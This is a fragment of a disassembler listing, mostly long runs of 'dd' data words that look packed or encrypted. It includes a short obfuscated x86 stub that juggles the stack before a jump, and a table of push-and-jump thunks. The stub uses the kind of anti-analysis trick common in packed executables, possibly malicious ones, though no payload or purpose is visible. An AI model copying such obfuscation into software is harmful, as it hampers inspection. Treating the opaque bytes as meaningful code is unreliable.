		dd 0C2050BB6h, 29B9DBF1h, 586FCC54h, 5BC1EF35h,	0D3F6352Eh
		dd 21D3BDDEh, 0B2E4598h, 21D3BDA6h, 58777DD0h, 0BE3B7699h
		dd 771621D3h, 37989128h, 26D124FBh, 954F350Fh, 9C3A97Bh
		dd 0F2D9B3F2h, 433E353Ah, 21D3A76Eh, 0D1FD5C08h, 1B0E8C93h
		dd 0C51D6A70h, 99C5DC5Bh, 8A1D1B0Dh, 98F7FD63h,	74980575h
		dd 4F287B26h, 0E614C4EFh, 6DF5230Ch, 2000007h, 7446601Ah
		dd 0E9BBD58Dh, 60324C04h, 0D3A5BF77h, 0C81D37F1h, 8E482A1Fh
		dd 4BEA274h, 7D3518EAh,	0F1AB9163h, 0E90CF7D7h,	21D471C8h
		dd 2BA23CAEh, 9A748B45h, 0FDF4F9B1h, 0C6ACAAF7h, 569F070Ch
		dd 0FC9AFF9h, 0EAEB17F5h, 10045434h, 4E000000h,	1FDFBh
		dd 36285400h, 72D0701Eh, 0E21F4147h, 29BAA0D2h,	778EAD73h
		dd 5C87D754h, 253C8F2Eh, 8D00BDF9h, 0F7FD5A8Ah,	1ED8BE98h
		dd 924C3204h, 6B502A8Dh, 0B759ADB3h, 3C3E6178h,	52267411h
		dd 3DDC26FFh, 4EDE615h,	6CFD6h,	0FEB8A000h, 732B12E4h
		dd 0EAA28759h, 5D15FED0h, 0D58F7143h, 0C87D66BBh, 40122CE6h
		dd 0B688A25Ch, 2F011BD3h, 95758F49h, 712A87AAh,	0E25421D4h
		dd 0E19AC648h, 0BD775DA9h, 0FAB84B9h, 6F290F09h, 97DB076Ah
		dd 1C94C783h, 452B252Bh, 0EB1E868Bh, 0CD2889ACh, 0FB4E29B9h
		dd 0D92380F5h, 411F39F3h, 54343E05h, 182Eh, 300F3B00h
		dd 99183B3Fh, 0E529B9AEh, 0EC038E92h, 0FB6E9096h, 136h
		dd 0A0D2E291h, 0AD7329BAh, 5E38778Eh, 68B8BD75h, 97FB674Dh
		dd 6F7520BDh, 5C03E72Ch, 0E5FC4F2Eh, 516B250Bh,	18C9EE1Ah
		dd 60492EE3h, 77CDD393h, 0A7AD58D5h, 80DC7ADh, 6E4366A5h
		dd 821D3FBh, 0B55BAFB5h, 9F855F76h, 934D33E5h, 6F0B2E8Dh
		dd 89267407h, 55195D36h, 452EE615h, 5EF17h, 0DE988000h
		dd 530BF2C4h, 0CA826739h, 3DF5DEB0h, 0B56F5123h, 0A89D469Bh
		dd 20F20CC6h, 9668823Ch, 0FE1FBB3h, 75556F29h, 704A678Ah
		dd 0C23421D4h, 32452B28h, 0B1951FABh, 62671297h, 0BFC47E64h
		dd 0A6E52457h, 0BA472E83h, 0FAF54829h, 29BA46B7h, 0F1666CBFh
		dd 280BE59Ch, 20DABE70h, 241E241Bh, 8C6A843Eh, 5434B05Eh
		dd 28E2C49Eh, 3AC3EE11h, 68BB29BAh, 7DE62h, 0FB280000h
		dd 56h,	8B452B91h, 8FA28886h, 6734493Ah, 981E2239h, 0C473B2F9h
		dd 3767B26h, 6A240AE4h,	161BD3B8h, 4FA4191Fh, 465D17FDh
		dd 0CEC5BC1Ah, 0C6DD46EAh, 0BA070EA3h, 0F156829h, 0B69C76ADh
		dd 51560EF5h, 18FDAF5Ah, 5E645B60h, 2734h, 0CAB38D00h
		dd 0C1796012h, 452B99BBh, 0E423868Bh, 0BAA0F0C1h, 0CC4AB29h
		dd 99DCE235h, 29BAA115h, 1963C031h, 655F7933h, 748B452Bh
		dd 0F5FAB49Ah, 53ABF8FEh, 0C88067CDh, 0A21CCC3h, 0A109A8CBh
		dd 227529BAh, 819ABD1Ch, 0F92E5C87h, 0CFB58FA6h, 94D2FE15h
		dd 0E38E96F8h, 0E0A70D11h, 5D0C6ACFh, 3D23F557h, 16406C83h
		dd 33EE4053h, 700ADB1h,	361D733Ah, 858BE330h, 1E6C8FA6h
		dd 182675B3h, 0EED4AEC5h, 0E6914B2Dh, 5314FACCh, 70CB771h
		dd 0ABC261AFh, 5991EA88h, 0FF68142Eh, 126EA91Ah, 0D7956E19h
		dd 70EDEF94h, 4765987h,	11F90000h, 846B3D57h, 0FBE0B2CCh
		dd 6E572943h, 0E8CA9CB6h, 16BF142Eh, 6B853F21h,	0E1FBB599h
		dd 5A742C0Fh, 0CEE8A288h, 0D1E003EEh, 0AD21D46Eh, 452BA13Bh
		dd 0E2E79F84h, 9E5639EBh, 2107D9F3h, 25FF6267h,	8280853Fh
		dd 0E6DDE29Ch, 553B353Bh, 0B771552Fh, 0F1C0BBB2h, 8D29BAA0h
		dd 228A8F3Ah, 4C3284D9h, 67417892h, 219B6F80h, 86A81193h
		dd 93CFD5DBh, 0E1543423h, 61672107h, 53DDh, 4FD12700h
		dd 1FB6D9F0h, 972E5AEFh, 0C2EE2D44h, 0DEF21048h, 634E49EDh
		dd 4021DA73h, 7BCEA55Dh, 73704164h, 0B30621DAh,	91744EADh
		dd 0BA4BFD9h, 9021DA73h, 0FFD9F0AAh, 655C611Bh,	482BFD5Fh
		dd 0B89F7990h, 545913F9h, 0B6ADB25Dh, 0A53563B0h, 0CB000003h
		dd 0D9F04FD1h, 5AA47CB6h, 6756022Eh, 8BFF2172h,	634E7188h
		dd 1B21D9A7h, 1A181DC8h, 2757A34h, 44CC70CDh, 85ADD0E7h
		dd 0FB2679AAh, 0FB00B8A1h, 133F5904h, 129FC20Dh, 9129B9A2h
		dd 0F4EBF0A8h, 58C6CA1Dh, 732D124Dh, 1CF60DB8h,	16757B33h
		dd 59E23FF3h, 577A392Eh, 21D9DA5Ah, 448D7824h, 6C3F2BBBh
		dd 131116C1h, 0CF877031h, 2328D3CAh, 0FFA3002Dh, 0D8FB1211h
		dd 2679F25Ah, 591AB8E4h, 0D8FCC134h, 4960B3D2h,	0CFD48C6Fh
		dd 1D68496Ch, 0BB0E29BAh, 71A80A10h, 0F6FBB597h, 19FFF9FFh
		dd 765C5A5Fh, 0AA76A2BCh, 0AB53768Dh, 0AD2E5A23h, 9F0E555Ah
		dd 9E21DA1Eh, 0DD977953h, 66DBE1D8h, 6477B309h,	5AA053D4h
		dd 0EA000000h, 0D9F04FD1h, 22DCC09Ah, 0DD20261Dh, 2E5AA015h
		dd 0AE6F512Bh, 130A0FC7h, 666C6368h, 0A8EFF447h, 21DAA005h
		dd 0F1F6B096h, 644B0AF3h, 0FEFC01ACh, 635A5F17h, 67AA073Ch
		dd 4DE00C57h, 0E24CFBEBh, 9A29E062h, 984325C0h,	444A04E6h
		dd 0EE1C72CFh, 953D45Ch, 100h, 8B452B53h, 0ECA68886h, 224584E7h
		dd 29BAA08Fh, 6242F8BAh, 0B188CE7Dh, 785E585Eh,	6E19D3B7h
		dd 0CB856B69h, 0EF4296B1h, 0F7DD29B9h, 93985236h, 4F62859Ch
		dd 2729B9EFh, 3D0F29D4h, 35989D57h, 0B8BE765Bh,	5826BC64h
		dd 0E5D292ACh, 0B044FEECh, 29D4C2CDh, 0A88D677Eh, 688BEAF0h
		dd 2E5A54BEh, 9B163978h, 0E321DA93h, 186B8A90h,	0F14ED2FEh
		dd 103FB7DAh, 9F792678h, 0DDFC02BAh, 0B799738Ah, 6DACE3FDh
		dd 0B7F0674Ah, 0D3B50F29h, 6E686E19h, 41F9D28Ch, 0DEE6115Dh
		dd 1E2C7F5h, 0A58D0000h, 18FFD1EBh, 8F744660h, 2EBBDD7h
		dd 7C5E304Ah, 6A53A8C2h, 0FF19D3B5h, 758F492Dh,	0EE08C0A3h
		dd 627C361Ch, 3D749782h, 3921D46Ch, 492B2DC7h, 0B99E788Fh
		dd 0FF05FC01h, 0CB3A669Dh, 0CD7475D3h, 0C1A7A1A7h, 8EB1F007h
		dd 29BA9423h, 38799C5Bh, 3E29BA94h, 0EE3C40EBh,	0FAB2407Ch
		dd 0A39DFF05h, 500AECC6h, 0FA4E544Bh, 0DF021916h, 2E5AA013h
		dd 0B66E532Dh, 0F583DB2h, 4E54D7C3h, 0F522832Fh, 0F4A3651Ch
		dd 0B0FD4449h, 8D21DA72h, 4D79D72Ch, 8B53D4C4h,	0D58D724Ch
		dd 0D3DED9D0h, 0AB21DA66h, 0BACE5258h, 18000000h, 748B452Bh
		dd 0A09F1235h, 84D729BAh, 0F4CE317Eh, 5C535812h, 547A5C56h
		dd 0BAA08031h, 975BC929h, 0D0FED7E3h, 0F6FBA6F9h, 0BA2229AFh
		dd 1DDEC429h, 857C813Bh, 8EEC0DAh, 5A4650F5h, 33DEDFDBh
		dd 0ED4AD62Eh, 2C73B3D6h, 0A2F52E5Ah, 77B45C88h, 0E59D8660h
		dd 0FA5D80DFh, 502677A2h, 0D5436E91h, 0E83B29B7h, 6A4C263Dh
		dd 0F627757h, 6B162581h, 0E39D7F51h, 11A8680Ah,	0E210F9E6h
		dd 0B8h, 0FB15CFB7h, 708A4229h,	0E701B99Eh, 5A742C15h
		dd 0D2ECA688h, 0FDDF547Dh, 73572943h, 0EACD9FB9h, 60461832h
		dd 0C1AC8CA6h, 0D46B139Eh, 5FF96B21h, 758F492Bh, 0E903BDA3h
		dd 8B452BEFh, 0E8A28886h, 426F92D1h, 3C29BAA1h,	9C5437E9h
		dd 18083496h, 0A5E1041Bh, 632E5C86h, 0FDE2A389h, 9E494045h
		dd 0DF0A299h, 53595055h, 0DEDCE134h, 52243EF8h,	886C466Ch
		dd 0D7D2C9CEh, 21D47ADAh, 0AA644AA4h, 5803AEA5h, 3216F053h
		dd 3CFA7478h, 490F7EC4h, 69D10043h, 0A8DDFF4Fh,	611B014Bh
		dd 0D58F7547h, 31E9D2D0h, 0B409362Ch, 0A8C27C62h, 3136F0D6h
		dd 303h, 66249900h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h
		dd 308C2A4h, 64692305h,	0C0C57D66h, 2025DDC2h, 7E833B22h
		dd 0BA7686Dh, 2C890000h, 0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 2414895Ch, 65CF68h, 240C8900h, 3E3DBE56h
		dd 0E681556Ch, 33B5652Dh, 0E5F6814Eh, 8164907Eh, 0C91CB2F6h
		dd 0DDC6817Ch, 814C2433h, 5C34F0F6h, 5EF28912h,	8104EAC1h
		dd 99F3BCF2h, 0C8B5403h, 4C48124h, 81000000h, 4ECh, 24148900h
		dd 74240481h, 8F42E35Eh, 69810841h, 0E35E7408h,	240C8B42h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dd 0C619ED44h, 18572F3Dh, 0D9260F9Ah, 0B87538DCh, 7E63769h
		dd 0E0FFC503h, 5125BF6h, 2462B4EFh, 4526FA5Ch, 1D8309C4h
		dd 283EAFAAh, 313FEA1Dh, 747A8FFFh, 17F9147h, 568300AEh
		dd 192E9h, 943D7E00h, 0D52C2714h, 0B198D31Ah, 0CAD1D746h
		dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh
		dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h
		dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh
		dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h
		dd 0E56CA191h, 10000ACh, 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 4 dup(0)
		dd 0E9000000h, 1085h, 0E63BD868h, 0E6DE907h, 0DF68FFFBh
		dd 0E907E63Ch, 0FFFB0E63h, 0E63E7C68h, 0E59E907h, 6668FFFBh
		dd 0E907E63Fh, 0FFFB0E4Fh, 0E640CB68h, 0E45E907h, 9268FFFBh
		dd 0E907E641h, 0FFFB0E3Bh, 0E6423468h, 0E31E907h, 0B768FFFBh
		dd 0E907E642h, 0FFFB0E27h, 0E643A768h, 0E1DE907h, 3168FFFBh
		dd 0E907E644h, 0FFFB0E13h, 0E6452668h, 0E09E907h, 0F268FFFBh
		dd 0E907E645h, 0FFFB0DFFh, 0E6467F68h, 0DF5E907h, 0B668FFFBh
		dd 0E907E647h, 0FFFB0DEBh, 0E648F268h, 0DE1E907h, 1F9FFFFBh
		dd 0A328A47Bh, 35B63209h, 0BA40BC93h, 48CF4B22h, 11D2DBB2h
		dd 4920B63Dh, 0D5AC4ACDh, 6037D759h, 0EDC460E4h, 452BF148h
		dd 5963289Dh, 0AD314BD4h, 16640486h, 7521E015h,	30452F4h
		dd 38BC4806h, 9829C59Ch, 8FC88E4Dh, 0C4632269h,	39F89418h
		dd 22698D73h, 3B38A163h, 6FFA48B1h, 0C2A08A81h,	7838BE5Bh
		dd 125C59F3h, 6322A128h, 9BCA9993h, 0C4372CBEh,	47DCh
		dd 0B011E300h, 3B0125AAh, 5B426355h, 7DCB0069h,	9A88477Ch
		dd 0F118D6DEh, 0C4AA7004h, 0D85B42FAh, 0E3D3A6Fh, 22FD2348h
		dd 86D43D63h, 0C6A40DFBh, 0DB7BA80Ch, 0C6AA94DEh, 1B156322h
		dd 753C1948h, 0EB5AC437h, 61000000h, 0C311AD31h, 0CC1AB037h
		dd 0D096BC40h, 5B4262EAh, 0A9B3D006h, 2D7CE8FBh, 0E975C3F8h
		dd 77F2C965h, 28E39089h, 1815C46Eh, 428FB6CEh, 0CA82C5Bh
		dd 0F6DCA24Dh, 0A5B428Eh, 0E15DA4A1h, 0C773C15Dh, 73DC60FAh
		dd 8D0B6C9Bh, 73C1F6D5h, 0B87E3D72h, 63235CC3h,	0BEEB6C18h
		dd 1C6A9F39h, 25730990h, 0AD2FEF24h, 1D86100Dh,	7EDB35Eh
		dd 2363235Ch, 0BF0DAD2Fh, 458C89BEh, 0ECD18A9h,	618C048h
		dd 702F986Bh, 0E7ABD7C5h, 387A6026h, 2D965B45h,	3E8E352Bh
		dd 0F48A1141h, 841AA11Dh, 0A0CFD87Ah, 7715EF72h, 0DFCh
		dd 0EE58909h, 9C730D92h, 26FD9F20h, 0B58C24AAh,	451CB239h
		dd 20A7A73Ch, 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh
		dd 289EAF95h, 0BD46CB63h, 3D14AA31h, 8A8CD4C2h,	0FCEB771Ah
		dd 0AF4BCFFFh, 44325BD8h, 0CE55BD93h, 0F13D3638h, 0CCF54542h
		dd 6F945A19h, 16322BCh,	0D1BF4A98h, 0E11EC78Eh,	0AFF9F65Fh
		dd 6322AFC5h, 0CC1AB83Bh, 1092BF40h, 5CED3B70h,	3F0A0F56h
		dd 0A4F7E45h, 90C4375Bh, 0E0h, 1863297h, 98D1967h, 0B3B386Dh
		dd 119DEB87h, 0A6F48Ah,	5B4267E8h, 0C39A36BAh, 515AC347h
		dd 0D848893Ah, 7E2A78ADh, 0A298D543h, 857FEED0h, 0D6CB9150h
		dd 0AA632382h, 1EF6A41h, 0D197B8D4h, 632286EBh,	109496FFh
		dd 16666354h, 0CF7B3AABh, 6162B04Ah, 0DE8A3564h, 7AC4C157h
		dd 6B061BE1h, 8733F25Bh, 18936A00h, 0A8C1A76Dh,	74DD5B44h
		dd 9FC04777h, 414B801Ah, 72A09B2Bh, 0F5A84620h,	1000000Ch
		dd 9915EC90h, 27A37A14h, 0B12D04A6h, 40BC932Bh,	434C23B9h
		dd 9127AEA0h, 1DBB3EBAh, 0A848CA46h, 35D155D1h,	9C62B95Eh
		dd 63289FB6h, 32BC45CAh, 891B3D44h, 0C9C6D5C1h,	56AF1299h
		dd 0E43792ADh, 5BF97C3Ch, 37BB6726h, 0A5F38910h, 20216FA4h
		dd 0DC60DC23h, 42EE6940h, 0F1221FC1h, 0C311AD31h, 6E068C38h
		dd 96BD4171h, 3F25EB13h, 5B5B4263h, 6E6FBDF2h, 0FBC66239h
		dd 2C652BEAh, 4863227Ah, 1EB91DFh, 6C632279h, 0E8942372h
		dd 0EE7AC864h, 8182D068h, 0D9FE4F4Ch, 3FC43700h, 46h, 35B01146h
		dd 682FB076h, 0D0396322h, 67F2DC82h, 0CA5D6322h, 0B1FF991Eh
		dd 561DB3B0h, 37173227h, 2068C4h, 116F0000h, 0B07635B0h
		dd 63227D2Bh, 0E88EDC45h, 63227CFEh, 75246F69h,	0C4370C60h
		dd 7B6h, 0E41FBD00h, 9A000008h,	7635B011h, 729D1FCBh, 10250F0h
		dd 807D7ECCh, 289D0236h, 0D695FE63h, 330AA62Ah,	0D89733B7h
		dd 932E53EAh, 0BEBB283Ah, 0AB6D5400h, 82BD03F9h, 23E2177Bh
		dd 0EBCB85Dh, 0FD832F6Bh, 57161765h, 427CAB91h,	5956BF5Bh
		dd 0FBA766CFh, 7FC00E77h, 0FA0D7F6Ah, 43134E34h, 0C4F9625Bh
		dd 5F25D08Fh, 5B431379h, 0E82F2C95h, 16FCC26Dh,	2A5B4313h
		dd 1094C4C1h, 477A2674h, 0F6F1DF9Eh, 0E7703685h, 0B95C8A6Ah
		dd 6AF221B7h, 0D3783E6Dh, 6D63235Fh, 3D248137h,	890C6002h
		dd 679C9DEBh, 1B32E365h, 0ACE1DDD4h, 429C84A2h,	3BD9B375h
		dd 0B58h, 0B2892DADh, 4017B136h, 0CAA143C4h, 5930C84Eh
		dd 0E9C056DDh, 0C44B03E0h, 58DB572Eh, 0E567E3BAh, 6EF26E45h
		dd 0FF56FBD2h, 28A15339h, 59E26763h, 6F294432h,	21C3DC7Dh
		dd 8CF0DA24h, 0BC675B42h, 428B10F6h, 3C32C5Bh, 99E9E67Ch
		dd 53FEBD28h, 73A8F965h, 10250F2h, 0A92954FFh, 511E62ACh
		dd 5F4D6329h, 0B8F3ABBBh, 36C0BD0Fh, 675AF6CDh,	0BDF9BF7Eh
		dd 0D16B0F30h, 53FEA968h, 4310A78Dh, 5D5AC35Bh,	360DA92Dh
		dd 4A1036BAh, 5B431064h, 8CDA0F78h, 4504E1E0h, 0FEED49Ah
		dd 99025B43h, 0AA76D9Ch, 26632948h, 6553FEBDh, 2FB5763Bh
		dd 46484997h, 0C345E6ABh, 9FD4D523h, 52EE72A2h,	0DF7BFF7Bh
		dd 2103EB91h, 6C55E329h, 52CCBA79h, 0F1AC5442h,	0D59BCAC7h
		dd 0EB09607Ch, 3050F78h, 38F2A420h, 0A6EC05Eh, 17970000h
		dd 9B209C73h, 2DAE2A01h, 0B238B48Bh, 40C7431Ah,	19CAD3AAh
		dd 4118AE35h, 0CDA442C5h, 582FCF51h, 0E5BC58DCh, 3D23E940h
		dd 516328A2h, 0B01143CCh, 47CA7635h, 5D5A5BA9h,	12D8832Eh
		dd 5B42632Ch, 9217D740h, 0ACA9AAF8h, 289C1E62h,	0CA89F263h
		dd 27FE9A1Eh, 3D8B27ABh, 0F6B53091h, 801A9F4Bh,	0D4013983h
		dd 0AD586B0Eh, 63563C02h, 16A5B42h, 42634127h, 0F7F45D5Bh
		dd 0D0F3796Dh, 497EB349h, 0BE5ADE8Ah, 31D153FFh, 8472ED34h
		dd 0C6C71E7Fh, 82B2AF62h, 0B5A362FEh, 4A905618h, 5A32660h
		dd 6915D3D0h, 0E57B0258h, 0A2619697h, 296067DCh, 0A4251963h
		dd 0A128B402h, 0E2A1D60Bh, 5716B236h, 8E8B27ABh, 0DE47CB47h
		dd 86070C8Dh, 1C4BE2E4h, 5AE53368h, 421EE46Ch, 8B4BD42Ch
		dd 1A1B6909h, 9AE9D31Dh, 823F6328h, 9B2D13D9h, 0D8416328h
		dd 9E1EE4A3h, 456B0ED3h, 0B2F07657h, 1C19205Ah,	0BE6A2992h
		dd 810D13Ah, 632E5898h,	57DB572Eh, 36E26DBBh, 3CC715B3h
		dd 42FA9076h, 0E43AC5Bh, 0E12FC94Eh, 2E93E3E0h,	0CA4CF8B7h
		dd 3381199Fh, 0D100FD32h, 2932CF0Bh, 0A34FFA63h, 0C6AC861Ch
		dd 0DA632911h, 8EC365E6h, 509E0791h, 9C81DA4h, 9355643h
		dd 0C7D13A6Bh, 72A453B7h, 90CAA84h, 0FC000009h,	8501D87Ch
		dd 138F6600h, 9D19F092h, 2CA87F17h, 2F380FA5h, 7D139AB4h
		dd 9A72AA6h, 9434B632h,	21BD41BDh, 884EA54Ah, 6328A3A2h
		dd 31B039BEh, 37C311ADh, 0E1C78DB3h, 0FD5B4262h, 3DCD9294h
		dd 0F2C0ED5Dh, 95886FBDh, 0CAC767E9h, 0CD516134h, 98BD5A31h
		dd 0FEC3D772h, 10h, 5A871907h, 41943C3Fh, 0EB1F1344h, 9A000004h
		dd 715013B4h, 5EEFB574h, 0EA63226Ah, 0DF734D81h, 0A9362E3Bh
		dd 200ECD18h, 0EDFEECB0h, 63532F6h, 0E468340h, 0D6248D38h
		dd 87325D4Bh, 1FD1D87Ah, 0F6EFD222h, 680A8B37h,	74763C6Bh
		dd 103631B0h, 0B73CE8A7h, 45F1201Dh, 0D24E25C1h, 5CA8B24Eh
		dd 6BA64A6Ch, 842F391h,	43C30000h, 0C74CC89Fh, 59DA562Dh
		dd 0DE64E0B7h, 6CF36F46h, 0EDF6FFD6h, 6D44DA61h, 0F9D06EF1h
		dd 845BFB7Dh, 11E88408h, 694F156Ch, 856328A4h, 0AD317700h
		dd 0B037C311h, 1AA7431Ah, 0EE23B940h
		dd 9BFB692Fh, 268F6328h, 9939BB67h, 3DC16D9Ch, 0CA4ECAA1h
		dd 0AA55E02Eh, 93E177FEh, 9AD2B892h, 83496328h,	63289B9Dh
		dd 0C52E48B1h, 9C4978C8h, 0D3DF17DDh, 2E976B0Eh, 0A33FC36Fh
		dd 0A6CC50CCh, 4262FAE0h, 0EDAD165Bh, 4B99CE68h, 2777D2C0h
		dd 0EF94C62Fh, 0A53BC2F2h, 0A2D6779Bh, 0CC6A4472h, 7A0h
		dd 6A41E565h, 0F8CF69EEh, 8259FB7Ch, 11E88006h,	0A1780E95h
		dd 7C034B98h, 10930FE6h, 9D1F9B72h, 26AA26FDh, 0B70EB38Ah
		dd 28A50BF1h, 119A1F63h, 25AAB011h, 73C3D8Bh, 0F1D79D48h
		dd 675B4262h, 0C7304AE0h, 9DD59BCAh, 5963289Bh,	0C08631F0h
		dd 63289ADAh, 61908DF6h, 6BC831B5h, 74A34371h, 0F442E465h
		dd 0B289BEF3h, 0C816B236h, 8140A51Ch, 8BA3EBBh,	0DFE9526Bh
		dd 72A4F9B1h, 1D0EAC86h, 0E8000007h, 71EDC468h,	0FF7B52ECh
		dd 8905DC7Eh, 18946B03h, 1B24FB91h, 69FF86C8h, 0F5931692h
		dd 8020A21Eh, 0DA92DA9h, 743A9136h, 6328A58Eh, 31941DA2h
		dd 37C311ADh, 0E2C917B3h, 29AD3D88h, 94E27E02h,	0EA875E93h
		dd 0C3D712EDh, 2D13D984h, 415B426Bh, 753DBD8h, 5A000000h
		dd 30D1Fh, 0AD319A00h, 0AA17C311h, 25D17C3Bh, 482E089Eh
		dd 645B4263h, 90763CFBh, 0AC5B4263h, 6C174643h,	519F3DC0h
		dd 54A244C5h, 995F1E53h, 5B4263B3h, 17615EC7h, 63289CDFh
		dd 0DB572E97h, 0E26DBB57h, 0A6D9CF4h, 43F8A7BEh, 0DA4648EBh
		dd 5BE1A193h, 777475C3h, 532AC047h, 1CDB0AB7h, 0EB3FD56h
		dd 0CF8EF76Bh, 2C039F23h, 42902CB0h, 5D8A0BB7h,	0F1F240D6h
		dd 706D6EBCh, 0D523B940h, 8E4D9829h, 229FE3C8h,	8A94FD63h
		dd 7542E358h, 2DF7956Fh, 0D8000006h, 61DDB458h,	0EF6B42DCh
		dd 79F5CC6Eh, 8845BF3h,	0B14EB81h, 59EF76D8h, 0E5830682h
		dd 7010920Eh, 0FD991D99h, 642A8126h, 6328A67Eh,	32840D92h
		dd 6769FF86h, 7464860Ch, 52827F0Eh, 857332CEh, 13F484BCh
		dd 0DF602020h, 0F682403Dh, 0C400972h, 0AB7F6078h, 890BB776h
		dd 9D9A9BE9h, 5905F8DFh, 0A43A37D7h, 0A13DC1D1h, 30282DCAh
		dd 76EC3D7h, 75000000h,	1931Fh,	0AD319A00h, 0DEC50711h
		dd 18F272A2h, 5A37Ah, 3EE26200h, 0CC66EB67h, 56F879F5h
		dd 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h, 1C986F0Dh
		dd 0A723FA9Ah, 0BB08723h, 0A708EEB4h, 9F246328h, 11AD3116h
		dd 76FBA752h, 631C02DCh, 0CD485B42h, 77CEE9B6h,	7B78E1FBh
		dd 44AD31BDh, 0D85B3A8Dh, 75F4383Ah, 15FC4A7Fh,	56DAE8BBh
		dd 1146E3BAh, 87C3D734h, 2Eh, 486328Eh,	6EBC52D9h, 0E9EA386Dh
		dd 637E642Ah, 29925B42h, 102EA2Ch, 32650000h, 62DBC187h
		dd 0FBEF5B42h, 0A8A5DA78h, 0EF66h, 8632E100h, 0BC52D904h
		dd 0EA386D6Eh, 259CECE9h, 905601C0h, 5B4263AAh,	63755B21h
		dd 20895B42h, 71A09D06h, 0F9971AC6h, 63ADAAABh,	63289D2Bh
		dd 802C7AE3h, 3AE5A441h, 0BA14FC4Ch, 0C2881C85h, 6328E2DCh
		dd 505287F0h, 50F222B4h, 206A6783h, 6B097D5Bh, 74C2CC35h
		dd 4372A41Ah, 4AECB69h,	0D7570000h, 5BE05C33h, 0ED6EEAC1h
		dd 72F8744Bh, 8703DAh, 598A936Ah, 1D86EF5h, 8D640285h
		dd 18EF8F11h, 0A57C189Ch, 0FDE3A900h, 116328A7h, 8632038Ch
		dd 0BA52D805h, 39363785h, 0FF82D8E9h, 831BA161h, 40FF3435h
		dd 22B2787Ah, 41C36F63h, 0ABF98F16h, 9B2775AAh,	4B487D15h
		dd 0ED9958C1h, 5DF3CA6Ch, 6322B174h, 0B83F66EAh, 8349D422h
		dd 6322B19Dh, 0DE1348B1h, 0C7F1731Fh, 22B11B01h, 91C62F63h
		dd 50D14D94h, 21C260AEh, 3D000004h, 7635B011h, 0FD9D1FCBh
		dd 67B1AEAFh, 63289D2Fh, 30D25347h, 5EACE1E2h, 0C8090FB2h
		dd 700860EAh, 31660688h, 250EE71h, 470DCC01h, 6B08C182h
		dd 0D5EBF55Eh, 0E272A4DEh, 3E26A08h, 0A3230000h, 27AC28FFh
		dd 0B93AB68Dh, 3EC44017h, 0CC53CFA6h, 8D565F36h, 0CDA43AC1h
		dd 5930CE51h, 0E4BB5BDDh, 7148E468h, 0C9AF75CCh, 0E56328A7h
		dd 0B011D760h, 7CB07635h, 9463289Ch, 3BC06C2Bh,	0C975A4A1h
		dd 0FF991E45h, 0F377F3CAh, 645D0957h, 57608FB4h, 6DE756AFh
		dd 0C25C9BDh, 29E81D52h, 0F4CBE63h, 0AA69D26Bh,	8E547AFEh
		dd 5B42ECA8h, 4F265BC4h, 65B34FD3h, 1EDD08B9h, 2311B358h
		dd 5A64CD63h, 75427270h, 55CF6D47h, 0B0000003h,	39B58C30h
		dd 0C7431AB4h, 51CDA446h, 0E05C33CBh, 0E3ECC359h, 31C74E00h
		dd 0BD5BDE5Ah, 48E86AE6h, 0D571F571h, 3C0259FEh, 6328A956h
		dd 315CE56Ah, 38C311ADh, 5DE3068Ch, 417677C5h, 0DCC525F3h
		dd 0CFB07FDh, 7964D5D7h, 0A6F21D9Ch, 0CEF579A9h, 0A279AE4Ah
		dd 0DAA0BB06h, 5B4341F4h, 59DF9F08h, 7CD8CC1h, 632348CEh
		dd 68F341AAh, 9D9A3ABCh, 233C6953h, 8BDAD463h, 37CBFDDAh
		dd 411BC4h, 11220000h, 0CB7635B0h, 63745A20h, 1F885B42h
		dd 0EE3CDE5Fh, 81A6F0EDh, 9B632264h, 543EE432h,	0BF632264h
		dd 591E3E2Ch, 22679A8h,	75246F05h, 0C437E060h, 5601210Fh
		dd 0B120C4C9h, 0B52CB4h, 31330000h, 4E344ADh, 0F72574E3h
		dd 42FE4B31h, 0C1F65F5Bh, 0FE563C02h, 16A5B42h,	6BF27ECCh
		dd 51FC87D5h, 42FEA58Bh, 5350B95Bh, 0B5039F23h,	3209A529h
		dd 4303849Ch, 36D2565Bh, 0C35FE35Fh, 0EDF8C975h, 63FD822Eh
		dd 20713766h, 2C632326h, 7150ECC3h, 0CEEFB574h,	5A6B05DBh
		dd 0FF8632F1h, 6B179269h, 21514EE4h, 0DAFA049Ah, 0F172A0DEh
		dd 21E7917h, 67E70000h,	0EB70ECC3h, 7DFE7A51h, 28804DBh
		dd 9017936Ah, 0C91A23FAh, 9168FE85h, 1DF49215h,	0A87F1FA1h
		dd 350CA82Ch, 8D733990h, 0A16328AAh, 0AA31931Ch, 3DC13D14h
		dd 636B5117h, 167F5B42h, 328D0AE1h, 80F59987h, 360E71B5h
		dd 4315765Ch, 0D1978A5Bh, 5B4314EBh, 0A16196FFh, 3132801Eh
		dd 8DDE434h, 175E8349h,	0A24D6323h, 2315F6DCh, 0A3D40A63h
		dd 0E42D03F2h, 0CA511146h, 77AD3734h, 0F4BAED3Fh, 6323130Eh
		dd 82B7B922h, 88D60BE9h, 22AFF8E2h, 0C3EB6E63h,	22B017FDh
		dd 95CA3363h, 983ABB47h, 0E0B3B94Ah, 0CD98925Dh, 375BBF9Ch
		dd 0C1DDC4h, 31E40000h,	37C311ADh, 0AF5B1AB0h, 0B4408E2Ch
		dd 4647952Fh, 0B0561411h, 5B426798h, 13EA860Ah,	29771397h
		dd 0E2A1447Dh, 0CB19AF36h, 0D89ECDCAh, 63228A87h, 0A5411881h
		dd 5E0AC91Ch, 154441D7h, 9F39BE6Ah, 1959D19Dh, 5C59C44Ch
		dd 5449212h, 0E38E396Bh, 44F4371Dh, 10EA535Bh, 5B44F42Ah
